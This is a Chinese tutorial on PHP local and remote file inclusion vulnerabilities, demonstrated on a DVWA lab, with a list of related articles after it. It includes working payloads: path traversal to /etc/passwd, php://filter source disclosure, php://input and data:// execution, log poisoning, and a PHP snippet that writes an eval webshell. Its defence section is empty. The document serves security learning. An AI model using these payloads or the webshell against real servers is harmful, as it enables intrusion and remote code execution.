文件包含漏洞(详解)
1. 文件包含:程序开发人员一般会把重复使用的函数写到单个文件中,需要使用某个函数时直接调用此文件,例如 include “conn.php”。php常见的文件包含函数:
include "conn.php": 当包含文件出现错误时,发出错误信息,继续执行include_once "conn.php":只包含一次require "conn.php": 当包含出现错误时,发出错误信息,不再执行require_once "conn.php":只包含一次
2. 漏洞出现的原因:
为了控制代码的灵活,程序要把要使用的函数写到一个文件中,其他需要其中的的函数执行,只需要通过该文件名包含进来,而且没有进行验证。
3.文件包含漏洞的分类
1)本地的文件包含漏洞:
a. 上传图片马,本地包含图片马getshell,使用下面包含路径包含图片马,菜刀连接下门面路径(做了没成功)
http://192.168.15.144/DVWA-1.9/vulnerabilities/fi/?page=…/…/hackable/uploads/mm.jpg
b. 本地包含读取网站源码,使用php为协议包含读取网站源码,获得base64加密源码
http://192.168.15.144/DVWA-1.9/vulnerabilities/fi/?page=php://filter/convert.base64-encode/resource=file1.php
c. 包含日志文件, getshell
现在日志文件中写入带有小马的日志文件,具体做法是使用burp抓取对网站的访问请求,在访问路径就面加上小马,日志文件会记录到用户的请求信息,成功写入小马,后面只需菜刀连接即可:
d.包含session文件getshell
e. 获取服务器信息:././././././././././././ect/passwd
2)远程文件包含漏洞
远程文件包含与本地类似,只不过包含的是远程文件,需要注意:
a. php.ini中的配置选项allow_url_fopen和allow_url_include 的值为on
b. 包含的远程文件不能以php结尾,php结尾会直接被解析
c. 包含远程文件一个技巧,可以在远程文件中写入一个创建小马的程序,当成功包含后,会在本地创建一个小马文件,使用菜刀连接,即可getshell:
<?php
fputs(fopen('xx.php','w'),'<?php @eval($_REQUEST["crazy"])?>');
?>
4. 伪协议的利用
1)读取网站源码
index.php?page=php://filter/read=convert.base64-encode/resource=index.php
2)接收post文件,需要执行的内容放到post中 仅需要开启allow_url_include
index.php?php://input
3)?page=data://text/plain,<?php phpinfo();?> 需要开启allow_url_open 和 allow_url_include
5. 防御方法:
6. 思维导图
文件包含漏洞(详解)相关推荐
- Pikachu靶场之文件包含漏洞详解
Pikachu靶场之文件包含漏洞详解 前言 文件包含漏洞简述 1.漏洞描述 2.漏洞原因 3.漏洞危害 4.如何防御 第一关 File Inclusion(local) 1.尝试读取"隐藏& ...
- 89.网络安全渗透测试—[常规漏洞挖掘与利用篇5]—[文件包含漏洞详解实战示例]
我认为,无论是学习安全还是从事安全的人,多多少少都有些许的情怀和使命感!!! 文章目录 一.文件包含漏洞详解 1.文件包含漏洞相关概念 2.PHP文件包含漏洞相关概念 3.PHP文件包含漏洞利用:`构 ...
- php本地文件包含漏洞,本地文件包含漏洞详解---LFI
1 概述 文件包含(Local File Include)是php脚本的一大特色,程序员们为了开发的方便,常常会用到包含.比如把一系列功能函数都写进fuction.php中,之后当某个文件需要调用的时 ...
- php 00截断,文件上传之\00截断与文件包含之%00截断 文件包含漏洞详解 – jinglingshu的博客...
首先要明确\00截断与%00截断的关系:00截断就是将上传文件的文件名或路径名中使用ascii码值为0的字符进行截断来达到突破上传限制的目的,而%00一般用在URL中用于截断url来进行文件包含.两者 ...
- 本地文件包含漏洞详解
0x00:漏洞定义 在通过服务器脚本的函数引入文件时,由于传入的文件名没有经过合理的校验,从而操作了预想之外的文件,导致意外的文件泄露.恶意代码的注入等. 文件包含分为两种,一种为本地文件包含,一种为 ...
- 第31天:WEB漏洞~文件操作之文件包含漏洞全解
目录 1. 文件包含漏洞 1.1. 原理.检测.类型.修复 1.2. 无限制&有限制的包含 1.2.1 本地包含 1.2.2 远程包含 1.3. 协议流 php:// php://input ...
- Apache与文件解析漏洞详解
1. Apache介绍与服务搭建 1.1. apache介绍 Apache跨平台的纯粹的web服务器,负责接收处理/响应http请求,之所以说它是纯粹的web服务器,是因为apache对于html页面 ...
- 文件包含漏洞—allow_url_fopen和allow_url_include详解
文件包含漏洞_allow_url_fopen和allow_url_include详解 提要:在文件包含漏洞中,PHP脚本环境中php.ini文件中通常会涉及到这两个参数,两个参数的开启或关闭影响文件包 ...
- 文件包含漏洞全面详解
文件包含漏洞总结 一.什么是文件包含漏洞 二.本地文件包含漏洞(LFI) 三.LFI漏洞利用技巧 1.配合文件上传使用 2.包含Apache日志文件 3.包含SESSION文件 4.包含临时文件 四. ...
- 文件包含与命令执行漏洞详解
代码注入 远程文件包含漏洞 文件包含 了解什么是本地文件包含漏洞 了解本地文件包含漏洞所要用到的函数 掌握本地文件包含漏洞的利用方式 了解 PHP 语言中的封装协议 掌握本地文件包含漏洞的修复方法 什 ...
最新文章
- C语言判断数组中是否存在该数
- 热议:这样的开源项目,你会支持吗?
- android唤醒屏幕并解锁
- android问题记录
- Mips TLB miss实现in Linux
- mysql数据库添加索引和去重
- 网络逻辑结构设计的内容不包括( )。【最全!最详细解析!】
- 自包含 .NET Core应用程序
- MSSQL 2005 分页分析及优化
- Spark源码分析之DiskBlockMangaer分析
- 团队-手机备忘录-需求分析
- linux mysql多实例启动_Mysql实例Linux下启动多个mysql服务器例子
- 邀请您加入移动开发专家联盟
- web 摄像头拍照并上传
- windows中配置ant环境变量
- php文件里搜索关键字,在PHP搜索脚本中突出显示关键字
- 从SVN上拉取代码到本地进行开发
- CCF优秀博士学位论文奖初评名单出炉!清华入选4人,数量第一
- 花瓣网 html,css+html如何仿花瓣网实现静态登陆页面?(代码实
- 泛微OA流程附件在服务器磁盘中的位置